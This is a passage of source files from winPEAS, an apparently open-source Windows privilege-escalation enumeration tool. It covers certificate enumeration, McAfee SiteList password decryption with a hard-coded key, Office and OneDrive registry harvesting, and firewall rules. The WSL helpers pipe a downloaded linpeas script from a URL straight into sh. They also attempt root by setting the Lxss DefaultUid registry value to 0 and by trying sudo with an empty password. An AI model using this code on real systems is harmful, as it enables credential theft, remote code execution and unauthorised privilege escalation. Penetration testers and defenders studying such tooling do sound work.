    "content": "﻿using System;\nusing System.Collections.Generic;\n\nnamespace winPEAS.Info.FilesInfo.Certificates\n{\n    internal class CertificateInfo\n    {\n        public string StoreLocation { get; set; }\n        public string Issuer { get; set; }\n        public string Subject { get; set; }\n        public DateTime ValidDate { get; set; }\n        public DateTime ExpiryDate { get; set; }\n        public bool HasPrivateKey { get; set; }\n        public bool? KeyExportable { get; set; }\n        public string Thumbprint { get; set; }\n        public string Template { get; set; }\n        public List<string> EnhancedKeyUsages { get; set; } = new List<string>();\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/FilesInfo/Certificates/Certificates.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Security.Cryptography.X509Certificates;\n\nnamespace winPEAS.Info.FilesInfo.Certificates\n{\n    internal class Certificates\n    {\n        public static IEnumerable<CertificateInfo> GetCertificateInfos()\n        {\n            foreach (var storeLocation in new[] { StoreLocation.CurrentUser, StoreLocation.LocalMachine })\n            {\n                var store = new X509Store(StoreName.My, storeLocation);\n                store.Open(OpenFlags.ReadOnly);\n\n                foreach (var certificate in store.Certificates)\n                {\n                    var template = \"\";\n                    var enhancedKeyUsages = new List<string>();\n                    bool? keyExportable = false;\n\n                    try\n                    {\n                        certificate.PrivateKey.ToXmlString(true);\n                        keyExportable = true;\n                    }\n                    catch (Exception e)\n                    {\n                        keyExportable = !e.Message.Contains(\"not valid for use in specified state\");\n                    }\n\n                    foreach (var ext in certificate.Extensions)\n                    {\n                        switch (ext.Oid.FriendlyName)\n                        {\n                            case \"Enhanced Key Usage\":\n                                {\n                                    var extUsages = ((X509EnhancedKeyUsageExtension)ext).EnhancedKeyUsages;\n\n                                    if (extUsages.Count == 0)\n                                        continue;\n\n                                    foreach (var extUsage in extUsages)\n                                    {\n                                        enhancedKeyUsages.Add(extUsage.FriendlyName);\n                                    }\n\n                                    break;\n                                }\n                            case \"Certificate Template Name\":\n                            case \"Certificate Template Information\":\n                                template = ext.Format(false);\n                                break;\n                        }\n                    }\n\n                    yield return new CertificateInfo\n                    {\n                        StoreLocation = $\"{storeLocation}\",\n                        Issuer = certificate.Issuer,\n                        Subject = certificate.Subject,\n                        ValidDate = certificate.NotBefore,\n                        ExpiryDate = certificate.NotAfter,\n                        HasPrivateKey = certificate.HasPrivateKey,\n                        KeyExportable = keyExportable,\n                        Template = template,\n                        Thumbprint = certificate.Thumbprint,\n                        EnhancedKeyUsages = enhancedKeyUsages\n                    };\n                }\n\n                store.Close();\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/FilesInfo/McAfee/McAfee.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.IO;\nusing System.Linq;\nusing System.Security.Cryptography;\nusing System.Xml;\nusing winPEAS.Helpers;\nusing winPEAS.Helpers.Search;\n\nnamespace winPEAS.Info.FilesInfo.McAfee\n{\n    internal class McAfee\n    {\n        public static IList<McAfeeSitelistInfo> GetMcAfeeSitelistInfos()\n        {\n            var result = new List<McAfeeSitelistInfo>();\n            var sitelistFiles = SearchHelper.SearchMcAfeeSitelistFiles()?.ToList();\n\n            if (sitelistFiles != null)\n            {\n                foreach (var sitelistFile in sitelistFiles)\n                {\n                    try\n                    {\n                        var xmlString = File.ReadAllText(sitelistFile);\n                        xmlString = xmlString.Replace(\"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\", \"\");\n                        var xmlDoc = new XmlDocument();\n\n                        xmlDoc.LoadXml(xmlString);\n\n                        var sites = xmlDoc.GetElementsByTagName(\"SiteList\");\n\n                        if (sites[0].ChildNodes.Count == 0)\n                        {\n                            continue;\n                        }\n\n                        var mcAfeeSites = new List<McAfeeSiteInfo>();\n\n                        foreach (XmlNode site in sites[0].ChildNodes)\n                        {\n                            if (site.Attributes[\"Name\"] == null || site.Attributes[\"Server\"] == null)\n                            {\n                                continue;\n                            }\n\n                            var server = site.Attributes[\"Server\"].Value;\n                            var name = site.Attributes[\"Name\"].Value;\n                            var type = site.Name;\n\n                            var encPassword = string.Empty;\n                            var decPassword = string.Empty;\n                            var relativePath = string.Empty;\n                            var shareName = string.Empty;\n                            var user = string.Empty;\n                            var domainName = string.Empty;\n\n                            foreach (XmlElement attribute in site.ChildNodes)\n                            {\n                                switch (attribute.Name)\n                                {\n                                    case \"UserName\":\n                                        user = attribute.InnerText;\n                                        break;\n\n                                    case \"Password\":\n                                        if (MyUtils.IsBase64String(attribute.InnerText))\n                                        {\n                                            encPassword = attribute.InnerText;\n                                            decPassword = DecryptPassword(encPassword);\n                                        }\n                                        else\n                                        {\n                                            decPassword = attribute.InnerText;\n                                        }\n                                        break;\n\n                                    case \"DomainName\":\n                                        domainName = attribute.InnerText;\n                                        break;\n\n                                    case \"RelativePath\":\n                                        relativePath = attribute.InnerText;\n                                        break;\n\n                                    case \"ShareName\":\n                                        shareName = attribute.InnerText;\n                                        break;\n\n                                    default:\n                                        break;\n                                }\n                            }\n\n                            var config = new McAfeeSiteInfo(type, name, server, relativePath, shareName, user, domainName, encPassword, decPassword);\n\n                            mcAfeeSites.Add(config);\n                        }\n\n                        if (mcAfeeSites.Count > 0)\n                        {\n                            //yield return new McAfeeSitelistInfo(sitelistFile, mcAfeeSites);\n                            result.Add(new McAfeeSitelistInfo(sitelistFile, mcAfeeSites));\n                        }\n                    }\n                    catch (Exception ex)\n                    {\n                        result.Add(new McAfeeSitelistInfo(sitelistFile, new List<McAfeeSiteInfo>(), ex.Message));\n                    }\n                }\n            }\n\n            return result;\n        }\n\n        private static string DecryptPassword(string base64password)\n        {\n            // Adapted from PowerUp: https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1#L4128-L4326\n\n            // References:\n            //  https://github.com/funoverip/mcafee-sitelist-pwd-decryption/\n            //  https://funoverip.net/2016/02/mcafee-sitelist-xml-password-decryption/\n            //  https://github.com/tfairane/HackStory/blob/master/McAfeePrivesc.md\n            //  https://www.syss.de/fileadmin/dokumente/Publikationen/2011/SySS_2011_Deeg_Privilege_Escalation_via_Antivirus_Software.pdf\n\n            // static McAfee key XOR key LOL\n            byte[] XORKey = { 0x12, 0x15, 0x0F, 0x10, 0x11, 0x1C, 0x1A, 0x06, 0x0A, 0x1F, 0x1B, 0x18, 0x17, 0x16, 0x05, 0x19 };\n\n            // xor the input b64 string with the static XOR key\n            var passwordBytes = Convert.FromBase64String(base64password);\n            for (var i = 0; i < passwordBytes.Length; i++)\n            {\n                passwordBytes[i] = (byte)(passwordBytes[i] ^ XORKey[i % XORKey.Length]);\n            }\n\n            SHA1 crypto = new SHA1CryptoServiceProvider();\n\n            //var tDESKey = MyUtils.CombineArrays(crypto.ComputeHash(System.Text.Encoding.ASCII.GetBytes(\"<!@#$%^>\")), new byte[] { 0x00, 0x00, 0x00, 0x00 });\n            byte[] tDESKey = { 62, 241, 54, 184, 179, 59, 239, 188, 52, 38, 167, 181, 78, 196, 26, 55, 124, 211, 25, 155, 0, 0, 0, 0 };\n\n            // set the options we need\n            var tDESalg = new TripleDESCryptoServiceProvider();\n            tDESalg.Mode = CipherMode.ECB;\n            tDESalg.Padding = PaddingMode.None;\n            tDESalg.Key = tDESKey;\n\n            // decrypt the unXor'ed block\n            var decrypted = tDESalg.CreateDecryptor().TransformFinalBlock(passwordBytes, 0, passwordBytes.Length);\n            var end = Array.IndexOf(decrypted, (byte)0x00);\n\n            // return the final password string\n            var password = System.Text.Encoding.ASCII.GetString(decrypted, 0, end);\n\n            return password;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/FilesInfo/McAfee/McAfeeSiteInfo.cs",
    "content": "﻿namespace winPEAS.Info.FilesInfo.McAfee\n{\n    internal class McAfeeSiteInfo\n    {\n        public string Type { get; set; }\n        public string Name { get; set; }\n        public string Server { get; set; }\n        public string RelativePath { get; set; }\n        public string ShareName { get; set; }\n        public string UserName { get; set; }\n        public string DomainName { get; set; }\n        public string EncPassword { get; set; }\n        public string DecPassword { get; set; }\n\n        public McAfeeSiteInfo(\n            string type,\n            string name,\n            string server,\n            string relativePath,\n            string shareName,\n            string userName,\n            string domainName,\n            string encPassword,\n            string decPassword)\n        {\n            Type = type;\n            Name = name;\n            Server = server;\n            RelativePath = relativePath;\n            ShareName = shareName;\n            UserName = userName;\n            DomainName = domainName;\n            EncPassword = encPassword;\n            DecPassword = decPassword;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/FilesInfo/McAfee/McAfeeSitelistInfo.cs",
    "content": "﻿using System.Collections.Generic;\n\nnamespace winPEAS.Info.FilesInfo.McAfee\n{\n    internal class McAfeeSitelistInfo\n    {\n        public string Path { get; set; }\n        public List<McAfeeSiteInfo> Sites { get; set; }\n\n        public string ParseException { get; set; }\n\n        public McAfeeSitelistInfo(string path, List<McAfeeSiteInfo> sites, string parseException = null)\n        {\n            Path = path;\n            Sites = sites ?? new List<McAfeeSiteInfo>();\n            ParseException = parseException;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/FilesInfo/Office/Office.cs",
    "content": "﻿using Microsoft.Win32;\nusing System;\nusing System.Collections.Generic;\nusing System.Globalization;\nusing System.Linq;\nusing System.Text.RegularExpressions;\nusing winPEAS.Helpers;\nusing winPEAS.Helpers.Registry;\nusing winPEAS.Info.FilesInfo.Office.OneDrive;\nusing winPEAS.Native;\n\nnamespace winPEAS.Info.FilesInfo.Office\n{\n    internal class Office\n    {\n        public static IEnumerable<OfficeRecentFileInfo> GetOfficeRecentFileInfos(int limit)\n        {\n            var orderedRecentFiles = GetRecentOfficeFiles().OrderByDescending(e => e.LastAccessDate).Take(limit);\n\n            foreach (var file in orderedRecentFiles)\n            {\n                yield return file;\n            }\n        }\n\n        public static IEnumerable<CloudSyncProviderInfo> GetCloudSyncProviderInfos()\n        {\n            var keys = new List<string> { \"DisplayName\", \"Business\", \"ServiceEndpointUri\", \"SPOResourceId\", \"UserEmail\", \"UserFolder\", \"UserName\", \"WebServiceUrl\" };\n\n            // Get all of the user SIDs (so will cover all users if run as an admin or has access to other user's reg keys)\n            var SIDs = RegistryHelper.GetUserSIDs();\n            var account = new Dictionary<string, string>();\n\n            foreach (var sid in SIDs)\n            {\n                if (!sid.StartsWith(\"S-1-5\") || sid.EndsWith(\"_Classes\")) // Disregard anything that isn't a user\n                    continue;\n\n                var oneDriveSyncProviderInfo = new OneDriveSyncProviderInfo();\n\n                // Now get each of the IDs (they aren't GUIDs but are an identity value for the specific library to sync)\n                var subKeys = RegistryHelper.GetRegSubkeys(\"HKU\", $\"{sid}\\\\Software\\\\SyncEngines\\\\Providers\\\\OneDrive\");\n                if (subKeys == null)\n                {\n                    continue;\n                }\n\n                // Now go through each of them, get the metadata and stick it in the 'provider' dict. It'll get cross referenced later.\n                foreach (string rname in subKeys)\n                {\n                    var provider = new Dictionary<string, string>();\n                    foreach (string x in new List<string> { \"LibraryType\", \"LastModifiedTime\", \"MountPoint\", \"UrlNamespace\" })\n                    {\n                        var result = RegistryHelper.GetRegValue(\"HKU\", $\"{sid}\\\\Software\\\\SyncEngines\\\\Providers\\\\OneDrive\\\\{rname}\", x);\n                        if (!string.IsNullOrEmpty(result))\n                        {\n                            provider[x] = result;\n                        }\n                    }\n                    oneDriveSyncProviderInfo.MpList[rname] = provider;\n                }\n\n                var odAccounts = RegistryHelper.GetRegSubkeys(\"HKU\", $\"{sid}\\\\Software\\\\Microsoft\\\\OneDrive\\\\Accounts\");\n                if (odAccounts == null)\n                {\n                    continue;\n                }\n\n                foreach (string acc in odAccounts)\n                {\n                    var business = false;\n                    foreach (string x in keys)\n                    {\n                        var result = RegistryHelper.GetRegValue(\"HKU\", $\"{sid}\\\\Software\\\\Microsoft\\\\OneDrive\\\\Accounts\\\\{acc}\", x);\n                        if (!string.IsNullOrEmpty(result))\n                        {\n                            account[x] = result;\n                        }\n\n                        if (x == \"Business\")\n                        {\n                            business = (String.Compare(result, \"1\") == 0) ? true : false;\n                        }\n                    }\n                    var odMountPoints = RegistryHelper.GetRegValues(\"HKU\", $\"{sid}\\\\Software\\\\Microsoft\\\\OneDrive\\\\Accounts\\\\{acc}\\\\ScopeIdToMountPointPathCache\");\n                    var scopeIds = new List<string>();\n\n                    if (business)\n                    {\n                        scopeIds.AddRange(odMountPoints.Select(mp => mp.Key));\n                    }\n                    else\n                    {\n                        scopeIds.Add(acc); // If its a personal account, OneDrive adds it as 'Personal' or the name of the account, not by the ScopeId itself. You can only have one personal account.\n                    }\n\n                    oneDriveSyncProviderInfo.AccountToMountpointDict[acc] = scopeIds;\n                    oneDriveSyncProviderInfo.OneDriveList[acc] = account;\n                    oneDriveSyncProviderInfo.UsedScopeIDs.AddRange(scopeIds);\n                }\n\n                yield return new CloudSyncProviderInfo(sid, oneDriveSyncProviderInfo);\n            }\n        }\n\n        private static IEnumerable<OfficeRecentFileInfo> GetRecentOfficeFiles()\n        {\n            foreach (var sid in Registry.Users.GetSubKeyNames())\n            {\n                if (!sid.StartsWith(\"S-1\") || sid.EndsWith(\"_Classes\"))\n                {\n                    continue;\n                }\n\n                string userName = null;\n                try\n                {\n                    userName = Advapi32.TranslateSid(sid);\n                }\n                catch\n                {\n                    userName = sid;\n                }\n\n                var officeVersion = RegistryHelper.GetRegSubkeys(\"HKU\", $\"{sid}\\\\Software\\\\Microsoft\\\\Office\")\n                                        ?.Where(k => float.TryParse(k, NumberStyles.AllowDecimalPoint, new CultureInfo(\"en-GB\"), out _));\n\n                if (officeVersion is null)\n                {\n                    continue;\n                }\n\n                foreach (var version in officeVersion)\n                {\n                    foreach (OfficeRecentFileInfo mru in GetMRUsFromVersionKey($\"{sid}\\\\Software\\\\Microsoft\\\\Office\\\\{version}\"))\n                    {\n                        //if (mru.LastAccessDate <= DateTime.Now.AddDays(-lastDays)) continue;\n\n                        mru.User = userName;\n                        yield return mru;\n                    }\n                }\n            }\n        }\n\n        private static IEnumerable<OfficeRecentFileInfo> GetMRUsFromVersionKey(string officeVersionSubkeyPath)\n        {\n            var officeApplications = RegistryHelper.GetRegSubkeys(\"HKU\", officeVersionSubkeyPath);\n            if (officeApplications == null)\n            {\n                yield break;\n            }\n\n            foreach (var app in officeApplications)\n            {\n                // 1) HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\<OFFICE APP>\\File MRU\n                foreach (var mru in GetMRUsValues($\"{officeVersionSubkeyPath}\\\\{app}\\\\File MRU\"))\n                {\n                    yield return mru;\n                }\n\n                // 2) HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Word\\User MRU\\ADAL_B7C22499E768F03875FA6C268E771D1493149B23934326A96F6CDFEEEE7F68DA72\\File MRU\n                // or HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Word\\User MRU\\LiveId_CC4B824314B318B42E93BE93C46A61575D25608BBACDEEEA1D2919BCC2CF51FF\\File MRU\n\n                var logonAapps = RegistryHelper.GetRegSubkeys(\"HKU\", $\"{officeVersionSubkeyPath}\\\\{app}\\\\User MRU\");\n                if (logonAapps == null)\n                {\n                    continue;\n                }\n\n                foreach (var logonApp in logonAapps)\n                {\n                    foreach (var mru in GetMRUsValues($\"{officeVersionSubkeyPath}\\\\{app}\\\\User MRU\\\\{logonApp}\\\\File MRU\"))\n                    {\n                        ((OfficeRecentFileInfo)mru).Application = app;\n                        yield return mru;\n                    }\n                }\n            }\n        }\n\n        private static IEnumerable<OfficeRecentFileInfo> GetMRUsValues(string keyPath)\n        {\n            var values = RegistryHelper.GetRegValues(\"HKU\", keyPath);\n            if (values == null)\n            {\n                yield break;\n            }\n\n            foreach (var mruString in values.Values.Cast<string>().Select(ParseMruString).Where(mruString => mruString != null))\n            {\n                yield return mruString;\n            }\n        }\n\n        private static OfficeRecentFileInfo ParseMruString(string mru)\n        {\n            var matches = Regex.Matches(mru, \"\\\\[[a-zA-Z0-9]+?\\\\]\\\\[T([a-zA-Z0-9]+?)\\\\](\\\\[[a-zA-Z0-9]+?\\\\])?\\\\*(.+)\");\n            if (matches.Count == 0)\n            {\n                return null;\n            }\n\n            long timestamp = 0;\n            var dateHexString = matches[0].Groups[1].Value;\n            var filename = matches[0].Groups[matches[0].Groups.Count - 1].Value;\n\n            try\n            {\n                timestamp = long.Parse(dateHexString, NumberStyles.HexNumber);\n            }\n            catch\n            {\n                Beaprint.PrintException($\"Could not parse MRU timestamp. Parsed timestamp: {dateHexString} MRU value: {mru}\");\n            }\n\n            return new OfficeRecentFileInfo\n            {\n                Application = \"Office\",\n                User = null,\n                Target = filename,\n                LastAccessDate = DateTime.FromFileTimeUtc(timestamp),\n            };\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/FilesInfo/Office/OfficeRecentFileInfo.cs",
    "content": "﻿using System;\n\nnamespace winPEAS.Info.FilesInfo.Office\n{\n    internal class OfficeRecentFileInfo\n    {\n        public string Application { get; set; }\n        public string User { get; set; }\n        public string Target { get; set; }\n        public DateTime LastAccessDate { get; set; }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/FilesInfo/Office/OneDrive/CloudSyncProviderInfo.cs",
    "content": "﻿namespace winPEAS.Info.FilesInfo.Office.OneDrive\n{\n    internal class CloudSyncProviderInfo\n    {\n        public CloudSyncProviderInfo(string sid, OneDriveSyncProviderInfo oneDriveSyncProviderInfo)\n        {\n            Sid = sid;\n            OneDriveSyncProviderInfo = oneDriveSyncProviderInfo;\n        }\n        public string Sid { get; }\n        public OneDriveSyncProviderInfo OneDriveSyncProviderInfo { get; }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/FilesInfo/Office/OneDrive/OneDriveSyncProviderInfo.cs",
    "content": "﻿using System.Collections.Generic;\n\nnamespace winPEAS.Info.FilesInfo.Office.OneDrive\n{\n    internal class OneDriveSyncProviderInfo\n    {\n        // Stores the mapping between a sync ID and mount point\n        public Dictionary<string, Dictionary<string, string>> MpList { get; set; } = new Dictionary<string, Dictionary<string, string>>();\n        // Stores the list of OneDrive accounts configured in the registry\n        public Dictionary<string, Dictionary<string, string>> OneDriveList { get; set; } = new Dictionary<string, Dictionary<string, string>>();\n        // Stores the mapping between the account and the mountpoint IDs\n        public Dictionary<string, List<string>> AccountToMountpointDict { get; set; } = new Dictionary<string, List<string>>();\n        // Stores the 'used' scopeIDs (to identify orphans)\n        public List<string> UsedScopeIDs { get; set; } = new List<string>();\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/FilesInfo/WSL/WSL.cs",
    "content": "﻿using System;\nusing System.Diagnostics;\nusing System.Text;\n\nnamespace winPEAS.Info.FilesInfo.WSL\n{\n    public class WSL\n    {\n        public static void RunLinpeas(string linpeasUrl)\n        {\n            string linpeasCmd = $\"curl -L {linpeasUrl} --silent | sh\";\n            string command = Environment.Is64BitProcess ?\n                                $@\"bash -c \"\"{linpeasCmd}\"\"\" :\n                                Environment.GetEnvironmentVariable(\"WinDir\") + $\"\\\\SysNative\\\\bash.exe -c \\\"{linpeasCmd}\\\"\";\n\n            ExecuteCommand(command);\n        }\n\n        private static void ExecuteCommand(string command,\n            string workingFolder = null,\n            string verb = \"OPEN\")\n        {\n            string executable = command;\n            string args = null;\n\n            if (executable.StartsWith(\"\\\"\"))\n            {\n                int at = executable.IndexOf(\"\\\" \");\n                if (at > 0)\n                {\n                    args = executable.Substring(at + 1).Trim();\n                    executable = executable.Substring(0, at);\n                }\n            }\n            else\n            {\n                int at = executable.IndexOf(\" \");\n                if (at > 0)\n                {\n                    if (executable.Length > at + 1)\n                    {\n                        args = executable.Substring(at + 1).Trim();\n                    }\n                    executable = executable.Substring(0, at);\n                }\n            }\n\n            var processStartInfo = new ProcessStartInfo\n            {\n                UseShellExecute = false,\n                Verb = verb,\n                CreateNoWindow = true,\n                FileName = executable,\n                WorkingDirectory = workingFolder,\n                Arguments = args,\n                RedirectStandardOutput = true,\n                RedirectStandardError = true,\n                StandardOutputEncoding = Encoding.UTF8\n            };\n\n            using (var process = Process.Start(processStartInfo))\n            {\n                if (process != null)\n                {\n                    while (!process.StandardOutput.EndOfStream)\n                    {\n                        Console.WriteLine(process.StandardOutput.ReadLine());\n                    }\n\n                    while (!process.StandardError.EndOfStream)\n                    {\n                        Console.WriteLine(process.StandardError.ReadLine());\n                    }\n                }\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/FilesInfo/WSL/WSLHelper.cs",
    "content": "﻿using System;\nusing System.Diagnostics;\nusing System.Text;\nusing winPEAS.Helpers.Registry;\n\nnamespace winPEAS.Info.FilesInfo.WSL\n{\n    public class WSLHelper\n    {\n        public static void RunLinpeas(string linpeasUrl)\n        {\n            string linpeasCmd = $\"curl -L {linpeasUrl} --silent | sh\";\n            var cmd = CreateUnixCommand(linpeasCmd);\n\n            ExecuteCommand(cmd.Item1, cmd.Item2);\n        }\n\n        internal static Tuple<string, string> CreateUnixCommand(string command, string distributionName = null)\n        {\n            string wsl = Environment.Is64BitProcess\n                ? \"wsl.exe\"\n                : Environment.GetEnvironmentVariable(\"WinDir\") + \"\\\\SysNative\\\\wsl.exe\";\n            string distributionParam = !string.IsNullOrEmpty(distributionName)\n                ? $\"--distribution {distributionName}\"\n                : string.Empty;\n            string args = $\"{distributionParam} -- {command}\";\n\n            return new Tuple<string, string>(wsl, args);\n        }\n\n        static string GetWSLUser(string distributionName)\n        {\n            string command = \"whoami\";\n\n            var cmd = CreateUnixCommand(command, distributionName);\n            var user = ExecuteCommandWaitForOutput(cmd.Item1, cmd.Item2)?.Trim();\n\n            return user;\n        }\n\n        internal static string TryGetRootUser(string distributionName, string distributionGuid)\n        {\n            string hive = \"HKCU\";\n            string path = @$\"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Lxss\\{distributionGuid}\";\n            string key = \"DefaultUid\";\n            string wslUser = GetWSLUser(distributionName);\n            string exploit = $\"change registry value: '{hive}\\\\{path}\\\\{key}' to 0\";\n            string root = $\"root ({exploit})\";\n\n            if (string.Equals(wslUser, \"root\"))\n            {\n                return \"root\";\n            }\n            var originalDefaultUserValue = RegistryHelper.GetRegValue(hive, path, key);\n\n            var isValueChanged = RegistryHelper.WriteRegValue(hive, path, key, 0.ToString());\n            if (isValueChanged)\n            {\n                wslUser = GetWSLUser(distributionName);\n\n                if (string.Equals(wslUser, \"root\"))\n                {\n                    RegistryHelper.WriteRegValue(hive, path, key, originalDefaultUserValue);\n\n                    return root;\n                }\n            }\n\n            // try sudo without password\n            exploit = \"sudo with empty password\";\n            var cmd = CreateUnixCommand(\"echo -n '' | sudo -S su root -c whoami\", distributionName);\n            var output = ExecuteCommandWaitForOutput(cmd.Item1, cmd.Item2);\n\n            if (output == \"root\")\n            {\n                return $\"root ({exploit})\";\n            }\n\n            return wslUser;\n        }\n\n        private static string ExecuteCommandWaitForOutput(string cmd, string args)\n        {\n            Process p = new Process();\n            p.StartInfo.UseShellExecute = false;\n            p.StartInfo.RedirectStandardOutput = true;\n            p.StartInfo.RedirectStandardError = true;\n            p.StartInfo.FileName = cmd;\n            p.StartInfo.Arguments = args;\n            p.StartInfo.StandardOutputEncoding = Encoding.UTF8;\n            p.Start();\n\n            string output = p.StandardOutput.ReadToEnd()?.Trim();\n\n            p.WaitForExit();\n\n            return output;\n        }\n\n        private static void ExecuteCommand(\n            string command,\n            string args = null,\n            string workingFolder = null\n            )\n        {\n            var processStartInfo = new ProcessStartInfo\n            {\n                UseShellExecute = false,\n                Verb = \"OPEN\",\n                CreateNoWindow = true,\n                FileName = command,\n                WorkingDirectory = workingFolder,\n                Arguments = args,\n                RedirectStandardOutput = true,\n                RedirectStandardError = true,\n                StandardOutputEncoding = Encoding.UTF8\n            };\n\n            using (var process = Process.Start(processStartInfo))\n            {\n                if (process != null)\n                {\n                    while (!process.StandardOutput.EndOfStream)\n                    {\n                        Console.WriteLine(process.StandardOutput.ReadLine());\n                    }\n\n                    while (!process.StandardError.EndOfStream)\n                    {\n                        Console.WriteLine(process.StandardError.ReadLine());\n                    }\n                }\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/NetworkInfo/Enums/IPVersion.cs",
    "content": "﻿namespace winPEAS.Info.NetworkInfo.Enums\n{\n    public enum IPVersion\n    {\n        IPv4,\n        IPv6\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/NetworkInfo/Enums/MibTcpState.cs",
    "content": "﻿using System.ComponentModel;\n\nnamespace winPEAS.Info.NetworkInfo.Enums\n{\n    public enum MibTcpState\n    {\n        [Description(\"None\")]\n        NONE = 0,\n\n        [Description(\"Closed\")]\n        CLOSED = 1,\n\n        [Description(\"Listening\")]\n        LISTEN = 2,\n\n        [Description(\"SYN Sent\")]\n        SYN_SENT = 3,\n\n        [Description(\"SYN Received\")]\n        SYN_RCVD = 4,\n\n        [Description(\"Established\")]\n        ESTAB = 5,\n\n        [Description(\"FIN Wait 1\")]\n        FIN_WAIT1 = 6,\n\n        [Description(\"FIN Wait 2\")]\n        FIN_WAIT2 = 7,\n\n        [Description(\"Close Wait\")]\n        CLOSE_WAIT = 8,\n\n        [Description(\"Closing\")]\n        CLOSING = 9,\n\n        [Description(\"Last ACK\")]\n        LAST_ACK = 10,\n\n        [Description(\"Time Wait\")]\n        TIME_WAIT = 11,\n\n        [Description(\"Delete TCB\")]\n        DELETE_TCB = 12\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/NetworkInfo/Enums/Protocol.cs",
    "content": "﻿namespace winPEAS.Info.NetworkInfo.Enums\n{\n    public enum Protocol\n    {\n        TCP,\n        UDP\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/NetworkInfo/Enums/TcpTableClass.cs",
    "content": "﻿namespace winPEAS.Info.NetworkInfo.Enums\n{\n    public enum TcpTableClass\n    {\n        TCP_TABLE_BASIC_LISTENER,\n        TCP_TABLE_BASIC_CONNECTIONS,\n        TCP_TABLE_BASIC_ALL,\n        TCP_TABLE_OWNER_PID_LISTENER,\n        TCP_TABLE_OWNER_PID_CONNECTIONS,\n        TCP_TABLE_OWNER_PID_ALL,\n        TCP_TABLE_OWNER_MODULE_LISTENER,\n        TCP_TABLE_OWNER_MODULE_CONNECTIONS,\n        TCP_TABLE_OWMER_MODULE_ALL\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/NetworkInfo/Enums/UdpTableClass.cs",
    "content": "﻿namespace winPEAS.Info.NetworkInfo.Enums\n{\n    public enum UdpTableClass\n    {\n        UDP_TABLE_BASIC,\n        UDP_TABLE_OWNER_PID,\n        UDP_TABLE_OWNER_MODULE\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/NetworkInfo/Firewall.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Runtime.InteropServices;\nusing winPEAS.Helpers;\n\nnamespace winPEAS.Info.NetworkInfo\n{\n    internal static class Firewall\n    {\n        // From Seatbelt\n        [Flags]\n        public enum FirewallProfiles\n        {\n            DOMAIN = 1,\n            PRIVATE = 2,\n            PUBLIC = 4,\n            ALL = 2147483647\n        }\n        public static string GetFirewallProfiles()\n        {\n            string result = \"\";\n            try\n            {\n                Type firewall = Type.GetTypeFromCLSID(new Guid(\"E2B3C97F-6AE1-41AC-817A-F6F92166D7DD\"));\n                object firewallObj = Activator.CreateInstance(firewall);\n                object types = ReflectionHelper.InvokeMemberProperty(firewallObj, \"CurrentProfileTypes\");\n                result = $\"{(FirewallProfiles)int.Parse(types.ToString())}\";\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n            return result;\n        }\n        public static Dictionary<string, string> GetFirewallBooleans()\n        {\n            var results = new Dictionary<string, string>();\n            try\n            {\n                Type firewall = Type.GetTypeFromCLSID(new Guid(\"E2B3C97F-6AE1-41AC-817A-F6F92166D7DD\"));\n                object firewallObj = Activator.CreateInstance(firewall);\n                object enabledDomain = ReflectionHelper.InvokeMemberProperty(firewallObj, \"FirewallEnabled\", new object[] { 1 });\n                object enabledPrivate = ReflectionHelper.InvokeMemberProperty(firewallObj, \"FirewallEnabled\", new object[] { 2 });\n                object enabledPublic = ReflectionHelper.InvokeMemberProperty(firewallObj, \"FirewallEnabled\", new object[] { 4 });\n\n                results = new Dictionary<string, string>\n                {\n                    { \"FirewallEnabled (Domain)\", $\"{enabledDomain}\"},\n                    { \"FirewallEnabled (Private)\", $\"{enabledPrivate}\"},\n                    { \"FirewallEnabled (Public)\", $\"{enabledPublic}\"},\n                };\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n            return results;\n        }\n        public static List<Dictionary<string, string>> GetFirewallRules()\n        {\n            List<Dictionary<string, string>> results = new List<Dictionary<string, string>>();\n            try\n            {\n                //Filtrado por DENY como Seatbelt??\n                // GUID for HNetCfg.FwPolicy2 COM object\n                Type firewall = Type.GetTypeFromCLSID(new Guid(\"E2B3C97F-6AE1-41AC-817A-F6F92166D7DD\"));\n                object firewallObj = Activator.CreateInstance(firewall);\n\n                // now grab all the rules\n                object rules = ReflectionHelper.InvokeMemberProperty(firewallObj, \"Rules\");\n\n                // manually get the enumerator() method\n                var enumerator = (System.Collections.IEnumerator)ReflectionHelper.InvokeMemberMethod(rules, \"GetEnumerator\");\n\n                // move to the first item\n                enumerator.MoveNext();\n                object currentItem = enumerator.Current;\n\n                while (currentItem != null)\n                {\n                    // only display enabled rules\n                    object enabled = 